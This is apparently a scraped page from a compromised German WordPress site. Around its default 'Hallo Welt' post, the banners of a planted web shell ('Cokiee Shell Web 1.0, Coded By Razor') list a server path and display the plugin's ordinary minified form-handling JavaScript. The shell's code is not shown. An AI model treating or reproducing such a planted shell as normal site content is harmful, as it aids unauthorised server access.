Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/fusion-builder/assets/js/min/general/ |
Current File : //var/www/web28/html/wp-content/plugins/fusion-builder/assets/js/min/general/fusion-form.js |
window.fusionForms={onLoad:function(){var e=jQuery("body").hasClass("fusion-builder-live");setTimeout(function(){window.fusionForms.calcSelectArrowDimensions()},100),window.fusionForms.calcTooltipWidth(),e||jQuery("#fusion-form-preview").length||jQuery("body").hasClass("awb-generating-critical-css")||jQuery.each(jQuery(".fusion-form-builder"),function(e,t){var i=jQuery(this).data("config");void 0!==i.nonce_method&&"ajax"!==i.nonce_method||window.fusionForms.ajaxUpdateView(this)}),document.querySelectorAll(".fusion-form-input").forEach(e=>{null===e.getAttribute("data-empty-notice")&&null===e.getAttribute("data-invalid-notice")||(e.addEventListener("input",()=>{e.setCustomValidity(""),e.checkValidity()}),e.addEventListener("invalid",()=>(window.fusionForms.checkIfEmpty(e)&&null!==e.getAttribute("data-empty-notice")?e.setCustomValidity(e.getAttribute("data-empty-notice")):null!==e.getAttribute("data-invalid-notice")&&e.setCustomValidity(e.getAttribute("data-invalid-notice")),!1)),e.addEventListener("change",()=>{"radio"!==e.type&&"checkbox"!==e.type||document.querySelectorAll('input[name="'+e.name+'"]').forEach(e=>{e.setCustomValidity("")})}))})},onReady:function(){formCreatorConfig.post_id="undefined"!=typeof fusion&&"function"==typeof fusion.getCurrentPostID?fusion.getCurrentPostID():0,window.fusionForms.startFlatpickr(),jQuery(".fusion-form-range-field-container").on("change input",function(e){var t=jQuery(e.target),i=parseInt(t.attr("max")),r=parseInt(t.attr("min")),a=parseInt(t.val()),o=t.hasClass("fusion-form-range-value")?".fusion-form-input":".fusion-form-range-value";(a<r||a>i)&&(a=a<r?r:i,t.val(a)),t.siblings(o).val(a)}),jQuery(".fusion-form-upload-field-button").on("click",function(e){e.preventDefault(),jQuery(this).closest(".fusion-form-upload-field-container").find('input[type="file"]').trigger("click")}),jQuery('.fusion-form-upload-field-container input[type="file"]').on("change",function(){window.fusionForms.fileUploadChange(this)}),jQuery('.form-form-submit, a[href="#nextStep"]').on("click",function(e){window.fusionForms.hiddenFields(e,this),window.fusionForms.submitClick(e,this)}),jQuery("form.fusion-form").on("submit",function(e){window.fusionForms.submitForm(e,this)}),jQuery('a[href="#previousStep"]').on("click",function(e){window.fusionForms.applyStep(e,jQuery(this))}),jQuery("body").on("click",".fusion-alert .close",function(e){e.preventDefault(),jQuery(this).parent().slideUp()}),jQuery(".fusion-form-field input, .fusion-form-field textarea").on("blur",function(){var e=jQuery(this).closest(".fusion-form-field");jQuery(this).attr("data-must-match")&&window.fusionForms.checkFieldMatches(jQuery(this)),e.hasClass("error")&&this.checkValidity()&&e.removeClass("error")}),jQuery(".awb-form-pw-reveal-icon").on("click",function(e){e.preventDefault();const t=jQuery(this).prev(),i="password"===t.attr("type")?"text":"password";t.attr("type",i),"text"===i?jQuery(this).removeClass("awb-icon-eye-slash").addClass("awb-icon-eye"):jQuery(this).removeClass("awb-icon-eye").addClass("awb-icon-eye-slash")}),jQuery(".fusion-form-upload-field").on("drag dragstart dragend dragover dragenter dragleave drop",function(e){e.preventDefault(),e.stopPropagation()}).on("dragover dragenter",function(){jQuery(this).addClass("focused")}).on("dragleave dragend drop",function(){jQuery(this).removeClass("focused")}).on("drop",function(e){var t=e.originalEvent.dataTransfer.files;jQuery(this).find('input[type="file"]').prop("files",t).trigger("change")})},applyStep:function(e,t){var i,r=t.closest(".fusion-form"),a=r.find(".awb-form-step.active");if(e.preventDefault(),void 0!==t.attr("href")&&a.length&&"#previousStep"===t.attr("href")&&a.prev().hasClass("awb-form-step")&&(a.removeClass("active").hide().prev().fadeIn(300).addClass("active"),i=parseInt(r.find(".awb-form-step.active").data("step")),this.manageFormNavActiveStep(r,i),"function"==typeof window.awbScrollToTarget)){const e=r.prev().hasClass("awb-form-nav--above")?r.prev():r.find(".awb-form-step.active");this.withinViewport(e)||window.awbScrollToTarget(e,10)}},checkIfEmpty:function(e){var t=!1;switch(e.type){case"radio":case"checkbox":t=null===document.querySelector('input[name="'+e.name+'"]:checked');break;default:t=""===e.value}return t},startFlatpickr:function(){jQuery('.fusion-form-field input[type="date"]').each(function(){var e=jQuery(this),t=e.attr("data-type"),i=e.attr("data-format"),r=e.attr("data-disabled-days"),a="custom"===t,o=e.attr("data-first-day"),n=["sunday","monday","tuesday","wednesday","thursday","friday","saturday"];"native"!==t&&(i=void 0===i||""===i?"Y-m-d":i,(r=(r=void 0===r||""===r?"":r).split(",")).length&&(r=r.map(function(e){return n.indexOf(e)})),e.flatpickr({allowInput:!0,disableMobile:a,dateFormat:i,minDate:e.attr("min"),maxDate:e.attr("max"),disable:[function(e){return r.includes(e.getDay())}],locale:{firstDayOfWeek:o}}))}),jQuery('.fusion-form-field input[type="time"]').each(function(){var e=jQuery(this),t=e.attr("data-type"),i="custom"===t,r="full"===e.attr("data-clock");"native"!==t&&e.flatpickr({allowInput:!0,disableMobile:i,enableTime:!0,noCalendar:!0,dateFormat:r?"H:i":"h:i K",time_24hr:r})})},renderRecaptcha:function(){var e;jQuery.each(jQuery(".fusion-form-recaptcha-v2"),function(t,i){e=jQuery(this).attr("id"),grecaptcha.render(e,{sitekey:jQuery(this).data("sitekey"),type:jQuery(this).data("type"),theme:jQuery(this).data("theme")})})},calcTooltipWidth:function(){jQuery.each(jQuery(".fusion-form-tooltip-content"),function(e,t){var i;jQuery(t).closest(".fusion-form-tooltip").css({position:"inherit"}),i=jQuery(t).width()+23,jQuery(t).css({width:i+"px"}),jQuery(t).closest(".fusion-form-tooltip").removeAttr("style")})},calcSelectArrowDimensions:function(){jQuery(".fusion-form-select-wrapper .select-arrow").filter(":visible").each(function(){0<jQuery(this).prev().innerHeight()&&jQuery(this).css({height:jQuery(this).prev().innerHeight(),width:jQuery(this).prev().innerHeight(),"line-height":jQuery(this).prev().innerHeight()+"px"})})},withinViewport:function(e){var t=e.offset().top,i=jQuery(window).scrollTop(),r=i+jQuery(window).height();return t>i&&t<r},submitClick:function(e,t){var i,r,a=jQuery(t).closest("form.fusion-form"),o=jQuery(t).data("form-number"),n=[];void 0===o&&jQuery(t).closest(".fusion-form").length&&(o=parseInt(jQuery(t).closest(".fusion-form-form-wrapper").data("form-id"))),"post"!==(i=jQuery(".fusion-form-form-wrapper.fusion-form-"+o).data("config")).form_type&&(e.preventDefault(),a.find('[data-holds-private-data="true"]').each(function(e,t){n.push(t.name)}),a.find('[name="fusion-fields-hold-private-data"]').length||a.append('<input type="hidden" name="fusion-fields-hold-private-data" value="'+n.join(",")+'">'),setTimeout(function(){r=new CustomEvent("fusion-form-before-submit",{detail:{event:e,form:a,formConfig:i}}),window.dispatchEvent(r),a.trigger("submit")},50))},hiddenFields:function(e,t){var i=jQuery(t).closest("form.fusion-form");i.find(".fusion-form-field-hidden").find("input, textarea, select").filter("[required]").attr("required",!1).attr("data-required",!0),i.find(".awb-form-step.active").nextAll(".awb-form-step").find("[required]").attr("required",!1).attr("data-required",!0),i.find(".awb-form-step.active").find(".fusion-form-field:not(.fusion-form-field-hidden)").find("[data-required]").attr("required",!0).removeAttr("data-required")},submitForm:function(e,t){var i,r=jQuery(t),a=r,o=a.find(".form-form-submit").data("form-number"),n=a.find('[data-fusion-is-honeypot="true"]'),s=a.find("[data-awb-fieldset-min-required], [data-awb-fieldset-max-required]"),f=a.find("[data-must-match]");if(void 0===o&&jQuery(t).closest(".fusion-form").length&&(o=parseInt(jQuery(t).closest(".fusion-form-form-wrapper").data("form-id"))),"post"!==(i=jQuery(".fusion-form-form-wrapper.fusion-form-"+o).data("config")).form_type){if(e.preventDefault(),a.find(".fusion-form-field.error").removeClass("error"),s.each(function(e,t){window.fusionForms.checkCustomRequiredCheckboxNum(jQuery(t))||window.fusionForms.insertCustomRequiredCheckboxMessage(jQuery(t))}),f.each(function(e,t){window.fusionForms.checkFieldMatches(jQuery(t))}),!r[0].checkValidity())return r[0].reportValidity(),void a.find("input:invalid, select:invalid, textarea:invalid").each(function(){jQuery(this).closest(".fusion-form-field").addClass("error")});if((n=n.filter(function(e,t){return!!jQuery(t).val()})).length)this.revealAlert(a,"error");else if(0==a.find(".error:not(.fusion-alert)").length)if(r.find(".awb-form-step.active").length&&!r.find(".awb-form-step.active").is('[data-final="1"]')){if(r.find(".awb-form-step.active").removeClass("active").hide().next().fadeIn(300).addClass("active"),this.manageFormNavActiveStep(r,parseInt(r.find(".awb-form-step.active").attr("data-step"))),"function"==typeof window.awbScrollToTarget){const e=r.prev().hasClass("awb-form-nav--above")?r.prev():r.find(".awb-form-step.active");this.withinViewport(e)||window.awbScrollToTarget(e,10)}}else window.fusionForms.ajaxSubmit(a,i)}},manageFormNavActiveStep(e,t){var i,r,a,o,n,s,f,d,u,l=jQuery(e).parent().find(".awb-form-nav"),c=l.hasClass("awb-form-nav--timeline"),p="awb-form-nav__tl-step-wrapper--active",m="awb-form-nav__tl-step-wrapper--completed",h=l.hasClass("awb-form-nav--progress");c?(i=l.find(".awb-form-nav__tl-step-wrapper"),r=l.attr("data-aria-current"),a=l.attr("data-aria-completed"),i.each(function(){var e=jQuery(this),i=parseInt(e.attr("data-step"));i<t?(e.addClass(m).removeClass(p),e.find(".awb-form-nav__tl-aria-info").html(a)):i===t?(e.addClass(p).removeClass(m),e.find(".awb-form-nav__tl-aria-info").html(r)):(e.removeClass(p).removeClass(m),e.find(".awb-form-nav__tl-aria-info").html(""))})):h&&(o=0<(o=parseInt(l.attr("data-steps")))?o:1,u=Math.round(100*t/o),l.find(".progress-bar-content").css("width",u+"%"),void 0!==(n=l.find(".fusion-progressbar-value"))&&n.length&&n.html(n.html().replace(parseInt(n.html()),u)),l.find(".progress-bar-content").attr("aria-valuenow",u),(s=l.find(".progress-title")).attr("style")&&(d=s.attr("style").match(/((?:right|left):\s*calc\s*\(.*?\s*[+\-*\/%]\s*)\d*(%\s*\)\s*;)/i))&&d.length&&(f=d[1]+(100-u)+d[2],s.attr("style",s.attr("style").replace(d[0],f)))),setTimeout(function(){jQuery(window).trigger("fusion-dynamic-content-render",jQuery('.awb-form-step[data-step="'+t+'"]')),window.dispatchEvent(new Event("fusion-resize-horizontal",{bubbles:!0,cancelable:!0})),jQuery(window).trigger("fusion-resize-vertical"),jQuery(window).trigger("resize")},350)},getFormData:function(e,t){var i,r,a=new FormData,o=e.find('input[type="file"]'),n=e.serializeArray(),s=e.parent().data("form-id"),f=[];for(o.length&&o.each(function(){var e=jQuery(this).attr("name").replace("[]",""),t=this.files.length;jQuery.each(this.files,function(i,r){1<t?a.append("files["+e+"@|@"+(i+1)+"]",r):a.append("files["+e+"]",r)})}),jQuery.each(e.find(".fusion-form-field-hidden input:not(.fusion-form-range-value):not(.fusion-form-upload-field), .fusion-form-field-hidden textarea, .fusion-form-field-hidden select, .fusion-form-honeypot-field input"),function(){var e=jQuery(this).attr("name");e&&(e=e.replace("[]",""),-1===f.indexOf(e)&&f.push(e))}),i=0,r=n.length;i<r;i++)n[i].value=jQuery.trim(n[i].value);return a.append("formData",jQuery.param(n)),a.append("action","fusion_form_submit_ajax"),a.append("fusion_form_nonce",e.find("#fusion-form-nonce-"+s).val()),a.append("form_id",t.form_id),a.append("post_id",t.post_id),a.append("field_labels",JSON.stringify(t.field_labels)),a.append("field_types",JSON.stringify(t.field_types)),a.append("hidden_field_names",JSON.stringify(f)),e.find(".fusion-form-recaptcha-v2").length&&a.append("g-recaptcha-response",e.find(".g-recaptcha-response").val()),e.find(".fusion-form-recaptcha-v3").length&&a.append("g-recaptcha-response",e.find(".g-recaptcha-response").val()),"url"===t.form_type&&(a.append("fusionAction",e.attr("action")),a.append("fusionActionMethod",e.attr("method"))),a},ajaxSubmit:function(e,t){var i=this,r=window.fusionForms.getFormData(e,t);e.find(".form-form-submit").addClass("fusion-form-working"),jQuery.ajax({type:"POST",url:formCreatorConfig.ajaxurl,data:r,action:"fusion_form_submit_ajax",dataType:"json",processData:!1,contentType:!1}).done(function(a){if(a.captcha||"success"!=a.status||jQuery(e)[0].reset(),"success"==a.status&&"redirect"==t.confirmation_type&&""!==t.redirect_url?window.location=t.redirect_url:i.revealAlert(e,a),jQuery(window).trigger("fusion-form-ajax-submit-done",{result:a,formConfig:t,data:r}),"success"==a.status){const t=e.parent(".fusion-form").data("off-canvas");t&&window.awbOffCanvas.open_off_canvas(t)}}).fail(function(){i.revealAlert(e,"error"),jQuery(window).trigger("fusion-form-ajax-submit-fail",{formConfig:t})}).always(function(){e.find(".form-form-submit").removeClass("fusion-form-working"),window.fusionForms.reloadCaptcha(e),jQuery(window).trigger("fusion-form-ajax-submitted",{formConfig:t,data:r})})},reloadCaptcha:function(e){var t=jQuery(e).closest("form.fusion-form"),i=t.find("div.recaptcha-container").attr("id");void 0!==i&&"undefined"!=typeof active_captcha&&void 0!==active_captcha[i]&&grecaptcha.execute(active_captcha[i],{action:"contact_form"}).then(function(e){t.find("div.recaptcha-container").find(".g-recaptcha-response").val(e)})},revealAlert:function(e,t){var i,r=e.find(".form-submission-notices").not(".fusion-form-notice-hidden"),a="object"==typeof t&&void 0!==t.status?t.status:t,o=-1!==a.indexOf("error")?"error":a,n=r.find(" > .fusion-form-response-"+o);if(e.find(".awb-form-step").length&&(e.find(".form-submission-notices").length&&!e.find(".form-submission-notices").closest(".awb-form-step").hasClass("active")?(e.find(".awb-form-step.active").removeClass("active").hide(),(i=e.find(".form-submission-notices").closest(".awb-form-step")).addClass("active").fadeIn(300),this.withinViewport(i)||"function"!=typeof window.awbScrollToTarget||window.awbScrollToTarget(i),this.manageFormNavActiveStep(e,parseInt(i.data("step")))):e.find(".form-submission-notices").length||(e.find(".awb-form-step.active").removeClass("active").hide(),e.find('.awb-form-step[data-step="1"]').addClass("active").fadeIn(300),this.withinViewport(e.find(".awb-form-step.active"))||"function"!=typeof window.awbScrollToTarget||window.awbScrollToTarget(e.find(".awb-form-step.active")),this.manageFormNavActiveStep(e,1))),e.find(".form-submission-notices").find(".fusion-form-response").hide(),"error"===a&&"object"==typeof t&&"object"==typeof t.info){const e=n.find(".fusion-alert-content span.errors-wrap");e.length?e.empty():n.find(".fusion-alert-content").append('<span class="errors-wrap"></span>'),jQuery.each(t.info,function(e,t){n.find(".fusion-alert-content span.errors-wrap").append("<br><br>"+t)})}n.length&&(this.withinViewport(r)||"function"!=typeof window.awbScrollToTarget?(n.attr("role","alert"),n.slideDown(300)):(n.attr("role","alert"),n.css({display:"block"}),window.awbScrollToTarget(r)))},ajaxUpdateView:function(e){jQuery.ajax({type:"POST",url:formCreatorConfig.ajaxurl,data:{action:"fusion_form_update_view",form_id:jQuery(e).data("form-id")},success:function(t){jQuery(e).find(".fusion-form").append(t)},dataType:"html"})},fileUploadChange:function(e){var t=jQuery(e),i=t.val(),r=t.attr("accept"),a=(jQuery(e).prop("files")[0].size/1024/1024).toFixed(4),o=t.data("size"),n=t.closest(".fusion-form-upload-field"),s=i.match(/\.([^\.]+)$/)[1].toLowerCase();if(n.removeClass("error"),1<jQuery(e).prop("files").length){if(i="",jQuery.each(jQuery(e).prop("files"),function(e,f){return a=(f.size/1024/1024).toFixed(4),s=f.name.match(/\.([^\.]+)$/)[1].toLowerCase(),i+=""!==i?", "+f.name.split("\\").pop():f.name.split("\\").pop(),void 0===r||r.toLowerCase().includes(s)?void 0!==o&&a>o?(n.find('input[type="text"]').val(formCreatorConfig.file_size_error+o+"MB"),n.addClass("error"),t.val(""),!1):void 0:(n.find('input[type="text"]').val(formCreatorConfig.file_ext_error+r),n.addClass("error"),t.val(""),!1)}),n.hasClass("error"))return}else{if(i=i.split("\\").pop(),void 0!==r&&!r.toLowerCase().includes(s))return n.find('input[type="text"]').val(formCreatorConfig.file_ext_error+r),n.addClass("error"),void t.val("");if(void 0!==o&&a>o)return n.find('input[type="text"]').val(formCreatorConfig.file_size_error+o+"MB"),n.addClass("error"),void t.val("")}t.closest(".fusion-form-upload-field-container").find(".fusion-form-upload-field").val(i).trigger("change")},checkFieldMatches:function(e){var t=e.val(),i=e.attr("data-must-match"),r=e.closest(".fusion-form-form-wrapper"),a=r.data("config"),o=r.find('input[name="'+i+'"]'),n=!!o.length&&o.val(),s="string"==typeof a.field_labels[i]&&""!==a.field_labels[i]&&a.field_labels[i];return s||(s="string"==typeof o.attr("placeholder")&&""!==o.attr("placeholder")?o.attr("placeholder").replace("*",""):i),o.length?e.is(":hidden")?e[0].setCustomValidity(""):void(t===n?e[0].setCustomValidity(""):e[0].setCustomValidity(formCreatorConfig.must_match.replace("%s",s))):e[0].setCustomValidity("")},checkCustomRequiredCheckboxNum:function(e){var t=e.attr("data-awb-fieldset-min-required"),i=e.attr("data-awb-fieldset-max-required"),r=e.find("input"),a=e.find("input:checked").length,o=r.first();return isNaN(t)&&(t=0),isNaN(i)&&(i=0),(o=o.get(0))&&o.nodeType&&o.setCustomValidity(""),!!e.is(":hidden")||a>=t&&(a<=i||0===parseInt(i))},insertCustomRequiredCheckboxMessage:function(e){var t=e.find("input").first(),i=e.attr("data-awb-fieldset-error");t.length&&(t=t.get(0))&&t.nodeType&&t.setCustomValidity(i)}},function(e){e(window).on("load",function(){window.fusionForms.onLoad()}),e(document).ready(function(){window.fusionForms.onReady()}),e(window).on("fusion-element-render-fusion_form",function(){window.fusionForms.startFlatpickr()})}(jQuery);
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare